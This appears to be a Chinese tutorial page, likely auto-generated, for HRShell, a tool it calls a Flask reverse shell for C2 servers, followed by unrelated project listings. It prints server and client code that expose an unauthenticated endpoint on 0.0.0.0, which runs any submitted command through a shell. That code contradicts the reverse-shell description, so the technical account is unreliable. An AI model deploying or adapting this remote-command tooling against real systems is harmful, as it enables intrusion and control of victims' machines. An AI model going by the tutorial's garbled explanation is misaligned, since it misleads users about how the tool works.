HRShell 项目使用教程
2024-08-26 06:03:58作者:宗隆裙
1. 项目的目录结构及介绍
HRShell 是一个基于 Flask 的 HTTPS/HTTP 反向 shell 项目,用于高级 C2 服务器。以下是项目的目录结构及其介绍:
HRShell/
├── client.py
├── server.py
├── config.py
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
client.py: 客户端文件,用于与服务器建立连接。server.py: 服务器文件,用于接收客户端连接并执行命令。config.py: 配置文件,包含服务器和客户端的配置选项。requirements.txt: 项目依赖文件,列出了运行项目所需的 Python 包。README.md: 项目说明文件,包含项目的基本信息和使用方法。LICENSE: 项目许可证文件,说明项目的授权和使用条款。.gitignore: Git 忽略文件,指定不需要版本控制的文件和目录。
2. 项目的启动文件介绍
服务器启动文件 (server.py)
server.py 是 HRShell 项目的服务器启动文件。它使用 Flask 框架来创建一个 Web 服务器,用于接收客户端的连接并执行命令。以下是 server.py 的基本结构:
from flask import Flask, request, jsonify
import subprocess
app = Flask(__name__)
@app.route('/shell', methods=['POST'])
def shell():
command = request.json['command']
result = subprocess.run(command, shell=True, capture_output=True)
return jsonify({'output': result.stdout.decode()})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
Flask是用于创建 Web 应用的框架。subprocess模块用于执行系统命令。/shell路由用于接收客户端发送的命令并返回执行结果。
客户端启动文件 (client.py)
client.py 是 HRShell 项目的客户端启动文件。它用于与服务器建立连接并发送命令。以下是 client.py 的基本结构:
import requests
import json
SERVER_URL = 'http://localhost:5000/shell'
def send_command(command):
payload = {'command': command}
response = requests.post(SERVER_URL, json=payload)
return response.json()['output']
if __name__ == '__main__':
while True:
command = input("Enter command: ")
output = send_command(command)
print(output)
requests模块用于发送 HTTP 请求。send_command函数用于向服务器发送命令并接收执行结果。
3. 项目的配置文件介绍
配置文件 (config.py)
config.py 是 HRShell 项目的配置文件,包含服务器和客户端的配置选项。以下是 config.py 的基本结构:
# Server configuration
SERVER_HOST = '0.0.0.0'
SERVER_PORT = 5000
# Client configuration
CLIENT_SERVER_URL = 'http://localhost:5000/shell'
SERVER_HOST和SERVER_PORT定义了服务器的监听地址和端口。CLIENT_SERVER_URL定义了客户端连接的服务器 URL。
通过修改 config.py 文件中的配置选项,可以调整服务器和客户端的行为。
以上是 HRShell 项目的使用教程,涵盖了项目的目录结构、启动文件和配置文件的介绍。希望这些信息能帮助你更好地理解和使用 HRShell 项目。
登录后查看全文
热门项目推荐
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust099- DDeepSeek-V4-ProDeepSeek-V4-Pro(总参数 1.6 万亿,激活 49B)面向复杂推理和高级编程任务,在代码竞赛、数学推理、Agent 工作流等场景表现优异,性能接近国际前沿闭源模型。Python00
MiMo-V2.5-ProMiMo-V2.5-Pro作为旗舰模型,擅⻓处理复杂Agent任务,单次任务可完成近千次⼯具调⽤与⼗余轮上 下⽂压缩。Python00
GLM-5.1GLM-5.1是智谱迄今最智能的旗舰模型,也是目前全球最强的开源模型。GLM-5.1大大提高了代码能力,在完成长程任务方面提升尤为显著。和此前分钟级交互的模型不同,它能够在一次任务中独立、持续工作超过8小时,期间自主规划、执行、自我进化,最终交付完整的工程级成果。Jinja00
Kimi-K2.6Kimi K2.6 是一款开源的原生多模态智能体模型,在长程编码、编码驱动设计、主动自主执行以及群体任务编排等实用能力方面实现了显著提升。Python00
MiniMax-M2.7MiniMax-M2.7 是我们首个深度参与自身进化过程的模型。M2.7 具备构建复杂智能体应用框架的能力,能够借助智能体团队、复杂技能以及动态工具搜索,完成高度精细的生产力任务。Python00
项目优选
收起
deepin linux kernel
C
28
16
Claude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed.
Get Started
Rust
572
99
暂无描述
Dockerfile
710
4.51 K
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
958
955
🎉 (RuoYi)官方仓库 基于SpringBoot,Spring Security,JWT,Vue3 & Vite、Element Plus 的前后端分离权限管理系统
Vue
1.61 K
942
Ascend Extension for PyTorch
Python
572
694
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
413
339
🍒 Cherry Studio 是一款支持多个 LLM 提供商的桌面客户端
TypeScript
1.43 K
116
暂无简介
Dart
952
235
Nop Platform 2.0是基于可逆计算理论实现的采用面向语言编程范式的新一代低代码开发平台,包含基于全新原理从零开始研发的GraphQL引擎、ORM引擎、工作流引擎、报表引擎、规则引擎、批处理引引擎等完整设计。nop-entropy是它的后端部分,采用java语言实现,可选择集成Spring框架或者Quarkus框架。中小企业可以免费商用
Java
12
2